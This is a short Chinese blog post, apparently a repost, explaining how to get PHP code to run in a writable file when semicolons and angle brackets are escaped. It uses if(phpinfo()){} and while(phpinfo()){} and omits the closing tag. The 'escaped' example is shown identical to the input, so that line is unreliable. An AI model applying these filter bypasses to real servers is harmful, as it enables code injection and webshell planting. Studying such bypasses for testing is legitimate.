php绕过分号(;)和尖括号(<>)转义

实战中发现可写文件且内容可控,尝试写入phpinfo,发现分号(;)和尖括号(<>)被转义,如:尝试写入

<?php phpinfo();?>

实际得到:

<?php phpinfo();?>

分析分号(;)和尖括号(<>)两处转义,其中第一个尖括号转义不属于php内部,不起到转义作用,只是一个普通文本,不需要处理,第二个尖括号可以不使用

此时变成:

<?php phpinfo();

关于分号(;)被转义,可以使用如下手法:

<?php if(phpinfo()){}

<?php while(phpinfo()){}

原文地址:https://www.cnblogs.com/0day-li/p/14572265.html